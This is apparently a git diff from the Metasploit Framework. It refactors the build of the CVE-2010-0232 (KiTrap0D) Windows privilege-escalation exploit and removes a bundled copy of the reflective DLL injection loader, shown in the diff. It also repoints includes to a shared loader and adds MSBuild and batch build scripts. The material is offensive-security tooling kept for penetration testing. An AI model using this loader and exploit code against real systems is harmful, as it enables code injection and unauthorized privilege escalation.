((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) - *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); - else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) - *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); - - // get the next entry in the current relocation block - uiValueD += sizeof( IMAGE_RELOC ); - } - - // get the next entry in the relocation directory - uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; - } - } - - // STEP 6: call our images entry point - - // uiValueA = the VA of our newly loaded DLL/EXE's entry point - uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); - - OUTPUTDBG("Flushing the instruction cache"); - // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. - pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); - - // call our respective entry point, fudging our hInstance value -#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR - // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) - ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); -#else - // if we are injecting an DLL via a stub we call DllMain with no parameter - ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); -#endif - - // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. - return uiValueA; -} -//===============================================================================================// -#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN - -// you must implement this function... -extern DWORD DLLEXPORT Init( SOCKET socket ); - -BOOL MetasploitDllAttach( SOCKET socket ) -{ - Init( socket ); - return TRUE; -} - -BOOL MetasploitDllDetach( DWORD dwExitFunc ) -{ - switch( dwExitFunc ) - { - case EXITFUNC_SEH: - SetUnhandledExceptionFilter( NULL ); - break; - case EXITFUNC_THREAD: - ExitThread( 0 ); - break; - case EXITFUNC_PROCESS: - ExitProcess( 0 ); - break; - default: - break; - } - - return TRUE; -} - -BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) -{ - BOOL bReturnValue = TRUE; - - switch( dwReason ) - { - case DLL_METASPLOIT_ATTACH: - bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved ); - break; - case DLL_METASPLOIT_DETACH: - bReturnValue = MetasploitDllDetach( (DWORD)lpReserved ); - break; - case DLL_QUERY_HMODULE: - if( lpReserved != NULL ) - *(HMODULE *)lpReserved = hAppInstance; - break; - case DLL_PROCESS_ATTACH: - hAppInstance = hinstDLL; - break; - case DLL_PROCESS_DETACH: - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - break; - } - return bReturnValue; -} - -#endif -//===============================================================================================// diff --git a/external/source/exploits/CVE-2010-0232/common/ReflectiveLoader.h b/external/source/exploits/CVE-2010-0232/common/ReflectiveLoader.h deleted file mode 100644 index 26c195b2fc..0000000000 --- a/external/source/exploits/CVE-2010-0232/common/ReflectiveLoader.h +++ /dev/null @@ -1,223 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H -#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H -//===============================================================================================// -#define WIN32_LEAN_AND_MEAN -#include -#include -#include - -#include "ReflectiveDLLInjection.h" - -// Enable this define to turn on OutputDebugString support -//#define ENABLE_OUTPUTDEBUGSTRING 1 - -// Enable this define to turn on locking of memory to prevent paging -#define ENABLE_STOPPAGING 1 - -#define EXITFUNC_SEH 0xEA320EFE -#define EXITFUNC_THREAD 0x0A2A1DE0 -#define EXITFUNC_PROCESS 0x56A2B5F0 - -typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); -typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); -typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); -typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); - -#define KERNEL32DLL_HASH 0x6A4ABC5B -#define NTDLLDLL_HASH 0x3CFA685D - -#define LOADLIBRARYA_HASH 0xEC0E4E8E -#define GETPROCADDRESS_HASH 0x7C0DFCAA -#define VIRTUALALLOC_HASH 0x91AFCA54 -#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 - -#ifdef ENABLE_STOPPAGING -typedef LPVOID (WINAPI * VIRTUALLOCK)( LPVOID, SIZE_T ); -#define VIRTUALLOCK_HASH 0x0EF632F2 -#endif - -#ifdef ENABLE_OUTPUTDEBUGSTRING -typedef LPVOID (WINAPI * OUTPUTDEBUG)( LPCSTR ); -#define OUTPUTDEBUG_HASH 0x470D22BC -#endif - -#define IMAGE_REL_BASED_ARM_MOV32A 5 -#define IMAGE_REL_BASED_ARM_MOV32T 7 - -#define ARM_MOV_MASK (DWORD)(0xFBF08000) -#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) -#define ARM_MOVW 0xF2400000 -#define ARM_MOVT 0xF2C00000 - -#define HASH_KEY 13 -//===============================================================================================// -#pragma intrinsic( _rotr ) - -__forceinline DWORD ror( DWORD d ) -{ - return _rotr( d, HASH_KEY ); -} - -__forceinline DWORD _hash( char * c ) -{ - register DWORD h = 0; - do - { - h = ror( h ); - h += *c; - } while( *++c ); - - return h; -} -//===============================================================================================// -typedef struct _UNICODE_STR -{ - USHORT Length; - USHORT MaximumLength; - PWSTR pBuffer; -} UNICODE_STR, *PUNICODE_STR; - -// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY -//__declspec( align(8) ) -typedef struct _LDR_DATA_TABLE_ENTRY -{ - //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - PVOID DllBase; - PVOID EntryPoint; - ULONG SizeOfImage; - UNICODE_STR FullDllName; - UNICODE_STR BaseDllName; - ULONG Flags; - SHORT LoadCount; - SHORT TlsIndex; - LIST_ENTRY HashTableEntry; - ULONG TimeDateStamp; -} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; - -// WinDbg> dt -v ntdll!_PEB_LDR_DATA -typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes -{ - DWORD dwLength; - DWORD dwInitialized; - LPVOID lpSsHandle; - LIST_ENTRY InLoadOrderModuleList; - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - LPVOID lpEntryInProgress; -} PEB_LDR_DATA, * PPEB_LDR_DATA; - -// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK -typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes -{ - struct _PEB_FREE_BLOCK * pNext; - DWORD dwSize; -} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; - -// struct _PEB is defined in Winternl.h but it is incomplete -// WinDbg> dt -v ntdll!_PEB -typedef struct __PEB // 65 elements, 0x210 bytes -{ - BYTE bInheritedAddressSpace; - BYTE bReadImageFileExecOptions; - BYTE bBeingDebugged; - BYTE bSpareBool; - LPVOID lpMutant; - LPVOID lpImageBaseAddress; - PPEB_LDR_DATA pLdr; - LPVOID lpProcessParameters; - LPVOID lpSubSystemData; - LPVOID lpProcessHeap; - PRTL_CRITICAL_SECTION pFastPebLock; - LPVOID lpFastPebLockRoutine; - LPVOID lpFastPebUnlockRoutine; - DWORD dwEnvironmentUpdateCount; - LPVOID lpKernelCallbackTable; - DWORD dwSystemReserved; - DWORD dwAtlThunkSListPtr32; - PPEB_FREE_BLOCK pFreeList; - DWORD dwTlsExpansionCounter; - LPVOID lpTlsBitmap; - DWORD dwTlsBitmapBits[2]; - LPVOID lpReadOnlySharedMemoryBase; - LPVOID lpReadOnlySharedMemoryHeap; - LPVOID lpReadOnlyStaticServerData; - LPVOID lpAnsiCodePageData; - LPVOID lpOemCodePageData; - LPVOID lpUnicodeCaseTableData; - DWORD dwNumberOfProcessors; - DWORD dwNtGlobalFlag; - LARGE_INTEGER liCriticalSectionTimeout; - DWORD dwHeapSegmentReserve; - DWORD dwHeapSegmentCommit; - DWORD dwHeapDeCommitTotalFreeThreshold; - DWORD dwHeapDeCommitFreeBlockThreshold; - DWORD dwNumberOfHeaps; - DWORD dwMaximumNumberOfHeaps; - LPVOID lpProcessHeaps; - LPVOID lpGdiSharedHandleTable; - LPVOID lpProcessStarterHelper; - DWORD dwGdiDCAttributeList; - LPVOID lpLoaderLock; - DWORD dwOSMajorVersion; - DWORD dwOSMinorVersion; - WORD wOSBuildNumber; - WORD wOSCSDVersion; - DWORD dwOSPlatformId; - DWORD dwImageSubsystem; - DWORD dwImageSubsystemMajorVersion; - DWORD dwImageSubsystemMinorVersion; - DWORD dwImageProcessAffinityMask; - DWORD dwGdiHandleBuffer[34]; - LPVOID lpPostProcessInitRoutine; - LPVOID lpTlsExpansionBitmap; - DWORD dwTlsExpansionBitmapBits[32]; - DWORD dwSessionId; - ULARGE_INTEGER liAppCompatFlags; - ULARGE_INTEGER liAppCompatFlagsUser; - LPVOID lppShimData; - LPVOID lpAppCompatInfo; - UNICODE_STR usCSDVersion; - LPVOID lpActivationContextData; - LPVOID lpProcessAssemblyStorageMap; - LPVOID lpSystemDefaultActivationContextData; - LPVOID lpSystemAssemblyStorageMap; - DWORD dwMinimumStackCommit; -} _PEB, * _PPEB; - -typedef struct -{ - WORD offset:12; - WORD type:4; -} IMAGE_RELOC, *PIMAGE_RELOC; -//===============================================================================================// -#endif -//===============================================================================================// diff --git a/external/source/exploits/CVE-2010-0232/kitrap0d/kitrap0d.c b/external/source/exploits/CVE-2010-0232/kitrap0d/kitrap0d.c index 0e1600ee74..de50313c19 100755 --- a/external/source/exploits/CVE-2010-0232/kitrap0d/kitrap0d.c +++ b/external/source/exploits/CVE-2010-0232/kitrap0d/kitrap0d.c @@ -10,11 +10,11 @@ */ #define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR #define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN -#include "../common/ReflectiveLoader.c" +#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include #include "../common/common.h" -#include "../common/LoadLibraryR.h" +#include "../../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h" #include "../common/ResourceLoader.h" #include "resource.h" diff --git a/external/source/exploits/CVE-2010-0232/kitrap0d/kitrap0d.vcxproj b/external/source/exploits/CVE-2010-0232/kitrap0d/kitrap0d.vcxproj index 8b82cd553c..8bc56a0824 100644 --- a/external/source/exploits/CVE-2010-0232/kitrap0d/kitrap0d.vcxproj +++ b/external/source/exploits/CVE-2010-0232/kitrap0d/kitrap0d.vcxproj @@ -49,7 +49,7 @@ Disabled - %(AdditionalIncludeDirectories) + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) WIN32;_DEBUG;_WINDOWS;_USRDLL;KITRAP0D_EXPORTS;%(PreprocessorDefinitions) true EnableFastChecks @@ -81,7 +81,7 @@ MinSpace OnlyExplicitInline false - %(AdditionalIncludeDirectories) + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;KITRAP0D_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -121,17 +121,21 @@ /ignore:4070 - editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "..\..\..\..\..\data\exploits\CVE-2010-0232\" GOTO COPY + mkdir "..\..\..\..\..\data\exploits\CVE-2010-0232\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2010-0232\" - + + - diff --git a/external/source/exploits/CVE-2010-0232/kitrap0d/kitrap0d.vcxproj.filters b/external/source/exploits/CVE-2010-0232/kitrap0d/kitrap0d.vcxproj.filters index 3c522c527e..9aea3a8408 100644 --- a/external/source/exploits/CVE-2010-0232/kitrap0d/kitrap0d.vcxproj.filters +++ b/external/source/exploits/CVE-2010-0232/kitrap0d/kitrap0d.vcxproj.filters @@ -2,24 +2,24 @@ - - common - common + + RDI + common - - common - common + + RDI + @@ -28,5 +28,8 @@ {cbb362dd-4029-4348-86d3-62c4b22c742d} + + {662e77af-b8cd-4717-a3f2-87b2ec57f46c} + \ No newline at end of file diff --git a/external/source/exploits/CVE-2010-0232/kitrap0d_payload/kitrap0d_payload.vcxproj b/external/source/exploits/CVE-2010-0232/kitrap0d_payload/kitrap0d_payload.vcxproj index 32875e0cb3..41cb73ff96 100644 --- a/external/source/exploits/CVE-2010-0232/kitrap0d_payload/kitrap0d_payload.vcxproj +++ b/external/source/exploits/CVE-2010-0232/kitrap0d_payload/kitrap0d_payload.vcxproj @@ -49,7 +49,7 @@ Disabled - %(AdditionalIncludeDirectories) + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) WIN32;_DEBUG;_WINDOWS;_USRDLL;KITRAP0D_PAYLOAD_EXPORTS;%(PreprocessorDefinitions) true EnableFastChecks @@ -75,7 +75,7 @@ MinSpace OnlyExplicitInline false - %(AdditionalIncludeDirectories) + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;KITRAP0D_PAYLOAD_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded diff --git a/external/source/exploits/CVE-2010-0232/kitrap0d_payload/main.c b/external/source/exploits/CVE-2010-0232/kitrap0d_payload/main.c index 7bc93fcb93..bacbb7b87f 100755 --- a/external/source/exploits/CVE-2010-0232/kitrap0d_payload/main.c +++ b/external/source/exploits/CVE-2010-0232/kitrap0d_payload/main.c @@ -7,7 +7,7 @@ #define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR #define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN -#include "../common/ReflectiveLoader.c" +#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include #include "kitrap0d.h" diff --git a/external/source/exploits/CVE-2010-0232/make.msbuild b/external/source/exploits/CVE-2010-0232/make.msbuild new file mode 100755 index 0000000000..a44980b045 --- /dev/null +++ b/external/source/exploits/CVE-2010-0232/make.msbuild @@ -0,0 +1,18 @@ + + + + .\kitrap0d.sln + + + + + + + + + + + + + + diff --git a/external/source/exploits/make.bat b/external/source/exploits/make.bat new file mode 100755 index 0000000000..2acf81084f --- /dev/null +++ b/external/source/exploits/make.bat @@ -0,0 +1,39 @@ +@ECHO OFF +IF "%VCINSTALLDIR%" == "" GOTO NEED_VS + +IF "%1"=="x86" GOTO BUILD_X86 +IF "%1"=="X86" GOTO BUILD_X86 +IF "%1"=="x64" GOTO BUILD_X64 +IF "%1"=="X64" GOTO BUILD_X64 + +ECHO "Building Exploits x64 and x86 (Release)" +SET PLAT=all +GOTO RUN + +:BUILD_X86 +ECHO "Building Exploits x86 (Release)" +SET PLAT=x86 +GOTO RUN + +:BUILD_X64 +ECHO "Building Exploits x64 (Release)" +SET PLAT=x64 +GOTO RUN + +:RUN +ECHO "Building CVE-2010-0232 (KiTrap0D)" +PUSHD CVE-2010-0232 +msbuild.exe make.msbuild /target:%PLAT% +POPD + +FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j +SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6% +echo Finished %ldt% + +GOTO :END + +:NEED_VS +ECHO "This command must be executed from within a Visual Studio Command prompt." +ECHO "This can be found under Microsoft Visual Studio 2013 -> Visual Studio Tools" + +:END